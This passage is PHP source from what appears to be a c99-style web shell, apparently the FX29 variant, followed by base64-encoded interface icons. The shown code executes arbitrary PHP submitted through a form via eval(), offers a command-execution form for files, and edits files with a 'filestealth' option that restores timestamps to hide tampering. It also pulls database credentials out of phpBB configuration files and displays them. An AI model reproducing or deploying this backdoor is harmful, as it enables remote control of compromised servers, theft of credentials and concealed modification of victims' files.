  1945.   }
  1946. }
  1947. if ($act == "eval") {
  1948.   if (!empty($eval)) {
  1949.     echo "Result of execution this PHP-code:<br>";
  1950.     $tmp = @ob_get_contents();
  1951.     $olddir = realpath(".");
  1952.     @chdir($d);
  1953.     if ($tmp) {
  1954.       @ob_clean();
  1955.       eval($eval);
  1956.       $ret = @ob_get_contents();
  1957.       $ret = convert_cyr_string($ret,"d","w");
  1958.       @ob_clean();
  1959.       echo $tmp;
  1960.       if ($eval_txt) {
  1961.         $rows = count(explode("\r\n",$ret))+1;
  1962.         if ($rows < 10) {$rows = 10;}
  1963.         echo "<br><textarea cols=\"115\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  1964.       }
  1965.       else {echo $ret."<br>";}
  1966.     }
  1967.     else {
  1968.       if ($eval_txt) {
  1969.         echo "<br><textarea cols=\"115\" rows=\"15\" readonly>";
  1970.         eval($eval);
  1971.         echo "</textarea>";
  1972.       }
  1973.       else {echo $ret;}
  1974.     }
  1975.     @chdir($olddir);
  1976.   }
  1977.   else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  1978.   echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"115\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
  1979. }
  1980. if ($act == "f") {
  1981.   echo "<div align=left>";
  1982.   if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
  1983.     if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  1984.     else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  1985.   }
  1986.   else {
  1987.     $r = @file_get_contents($d.$f);
  1988.     $ext = explode(".",$f);
  1989.     $c = count($ext)-1;
  1990.     $ext = $ext[$c];
  1991.     $ext = strtolower($ext);
  1992.     $rft = "";
  1993.     foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  1994.     if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  1995.     if (empty($ft)) {$ft = $rft;}
  1996.     $arr = array(
  1997.         array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
  1998.         array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
  1999.         array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
  2000.         array("Code","code"),
  2001.         array("Session","phpsess"),
  2002.         array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
  2003.         array("SDB","sdb"),
  2004.         array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
  2005.         array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
  2006.         array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
  2007.         array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
  2008.         array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  2009.     );
  2010.     echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  2011.     foreach($arr as $t) {
  2012.       if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
  2013.       elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
  2014.       else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
  2015.       echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  2016.     }
  2017.     echo "<hr size=\"1\" noshade>";
  2018.     if ($ft == "info") {
  2019.       echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  2020.       if (!$win) {
  2021.         echo "<tr><td><b>Owner/Group</b></td><td> ";
  2022.         $ow = posix_getpwuid(fileowner($d.$f));
  2023.         $gr = posix_getgrgid(filegroup($d.$f));
  2024.         echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  2025.       }
  2026.       echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
  2027.       $fi = fopen($d.$f,"rb");
  2028.       if ($fi) {
  2029.         if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  2030.         else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  2031.         $n = 0;
  2032.         $a0 = "00000000<br>";
  2033.         $a1 = "";
  2034.         $a2 = "";
  2035.         for ($i=0; $i<strlen($str); $i++) {
  2036.           $a1 .= sprintf("%02X",ord($str[$i]))." ";
  2037.           switch (ord($str[$i])) {
  2038.             case 0:  $a2 .= "<font>0</font>"; break;
  2039.             case 32:
  2040.             case 10:
  2041.             case 13: $a2 .= "&nbsp;"; break;
  2042.             default: $a2 .= htmlspecialchars($str[$i]);
  2043.           }
  2044.           $n++;
  2045.           if ($n == $hexdump_rows) {
  2046.             $n = 0;
  2047.             if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  2048.             $a1 .= "<br>";
  2049.             $a2 .= "<br>";
  2050.           }
  2051.         }
  2052.         echo "<table border=1 bgcolor=#666666>".
  2053.              "<tr><td bgcolor=#666666>".$a0."</td>".
  2054.              "<td bgcolor=#000000>".$a1."</td>".
  2055.              "<td bgcolor=#000000>".$a2."</td>".
  2056.              "</tr></table><br>";
  2057.       }
  2058.       $encoded = "";
  2059.       if ($base64 == 1) {
  2060.         echo "<b>Base64 Encode</b><br>";
  2061.         $encoded = base64_encode(file_get_contents($d.$f));
  2062.       }
  2063.       elseif($base64 == 2) {
  2064.         echo "<b>Base64 Encode + Chunk</b><br>";
  2065.         $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  2066.       }
  2067.       elseif($base64 == 3) {
  2068.         echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2069.         $encoded = base64_encode(file_get_contents($d.$f));
  2070.         $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2071.       }
  2072.       elseif($base64 == 4) {
  2073.         $text = file_get_contents($d.$f);
  2074.         $encoded = base64_decode($text);
  2075.         echo "<b>Base64 Decode";
  2076.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2077.     echo "</b><br>";
  2078.    }
  2079.    if (!empty($encoded))
  2080.    {
  2081.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2082.    }
  2083.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2084.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2085.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2086.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2087.        <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2088.        <P>";
  2089.   }
  2090.   elseif ($ft == "html") {
  2091.    if ($white) {@ob_clean();}
  2092.    echo $r;
  2093.    if ($white) {fx29shexit();}
  2094.   }
  2095.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2096.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2097.   elseif ($ft == "phpsess") {
  2098.    echo "<pre>";
  2099.    $v = explode("|",$r);
  2100.    echo $v[0]."<br>";
  2101.    var_dump(unserialize($v[1]));
  2102.    echo "</pre>";
  2103.   }
  2104.   elseif ($ft == "exe") {
  2105.    $ext = explode(".",$f);
  2106.    $c = count($ext)-1;
  2107.    $ext = $ext[$c];
  2108.    $ext = strtolower($ext);
  2109.    $rft = "";
  2110.    foreach($exeftypes as $k=>$v)
  2111.    {
  2112.     if (in_array($ext,$v)) {$rft = $k; break;}
  2113.    }
  2114.    $cmd = str_replace("%f%",$f,$rft);
  2115.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2116.   }
  2117.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2118.   elseif ($ft == "code") {
  2119.     if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
  2120.       $arr = explode("\n",$r);
  2121.       if (count($arr == 18)) {
  2122.         include($d.$f);
  2123.         echo "<b>phpBB configuration is detected in this file!<br>";
  2124.         if ($dbms == "mysql4") {$dbms = "mysql";}
  2125.         if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2126.         else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
  2127.         echo "Parameters for manual connect:<br>";
  2128.         $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2129.         foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2130.         echo "</b><hr size=\"1\" noshade>";
  2131.       }
  2132.     }
  2133.     echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2134.     if (!empty($white)) {@ob_clean();}
  2135.     highlight_file($d.$f);
  2136.     if (!empty($white)) {fx29shexit();}
  2137.     echo "</div>";
  2138.   }
  2139.   elseif ($ft == "download") {
  2140.     @ob_clean();
  2141.     header("Content-type: application/octet-stream");
  2142.     header("Content-length: ".filesize($d.$f));
  2143.     header("Content-disposition: attachment; filename=\"".$f."\";");
  2144.     echo $r;
  2145.     exit;
  2146.   }
  2147.   elseif ($ft == "notepad") {
  2148.     @ob_clean();
  2149.     header("Content-type: text/plain");
  2150.     header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2151.     echo($r);
  2152.     exit;
  2153.   }
  2154.   elseif ($ft == "img") {
  2155.     $inf = getimagesize($d.$f);
  2156.     if (!$white) {
  2157.       if (empty($imgsize)) {$imgsize = 20;}
  2158.       $width = $inf[0]/100*$imgsize;
  2159.       $height = $inf[1]/100*$imgsize;
  2160.       echo "<center><b>Size:</b>&nbsp;";
  2161.       $sizes = array("100","50","20");
  2162.       foreach ($sizes as $v) {
  2163.         echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2164.         if ($imgsize != $v ) {echo $v;}
  2165.         else {echo "<u>".$v."</u>";}
  2166.         echo "</a>&nbsp;&nbsp;&nbsp;";
  2167.       }
  2168.       echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2169.     }
  2170.     else {
  2171.       @ob_clean();
  2172.       $ext = explode($f,".");
  2173.       $ext = $ext[count($ext)-1];
  2174.       header("Content-type: ".$inf["mime"]);
  2175.       readfile($d.$f);
  2176.       exit;
  2177.     }
  2178.   }
  2179.   elseif ($ft == "edit") {
  2180.    if (!empty($submit))
  2181.    {
  2182.     if ($filestealth) {$stat = stat($d.$f);}
  2183.     $fp = fopen($d.$f,"w");
  2184.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2185.     else
  2186.     {
  2187.      echo "<b>Saved!</b>";
  2188.      fwrite($fp,$edit_text);
  2189.      fclose($fp);
  2190.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2191.      $r = $edit_text;
  2192.     }
  2193.    }
  2194.    $rows = count(explode("\r\n",$r));
  2195.    if ($rows < 10) {$rows = 10;}
  2196.    if ($rows > 30) {$rows = 30;}
  2197.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2198.   }
  2199.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2200.   else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";}
  2201. }
  2202. echo "</div>\n";
  2203. }
  2204. }
  2205. else {
  2206. @ob_clean();
  2207. $images = array(
  2208. "arrow_ltr"=>
  2209. "R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2210. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2211. "back"=>
  2212. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2213. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2214. "Wg0JADs=",
  2215. "buffer"=>
  2216. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2217. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2218. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2219. "change"=>
  2220. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2221. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2222. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2223. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2224. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2225. "zMshADs=",
  2226. "delete"=>
  2227. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2228. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2229. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2230. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2231. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2232. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2233. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2234. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2235. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2236. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2237. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2238. "download"=>
  2239. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2240. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2241. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2242. "forward"=>
  2243. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2244. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2245. "WqsJADs=",
  2246. "home"=>
  2247. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2248. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2249. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2250. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2251. "mode"=>
  2252. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2253. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2254. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2255. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2256. "search"=>
  2257. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2258. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2259. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2260. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2261. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2262. "setup"=>
  2263. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2264. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2265. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2266. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2267. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2268. "small_dir"=>
  2269. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2270. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2271. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2272. "small_unk"=>
  2273. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2274. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2275. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2276. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2277. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2278. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2279. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2280. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2281. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2282. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2283. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2284. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2285. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2286. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2287. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2288. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2289. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2290. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2291. "yAsokBkQADs=",
  2292. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2293. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2294. "sort_asc"=>
  2295. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2296. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2297. "sort_desc"=>
  2298. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2299. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2300. "sql_button_drop"=>
  2301. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2302. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2303. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2304. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2305. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2306. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2307. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2308. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2309. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2310. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2311. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2312. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2313. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2314. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2315. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2316. "AQEAOw==",
  2317. "sql_button_empty"=>
  2318. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2319. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2320. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2321. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2322. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
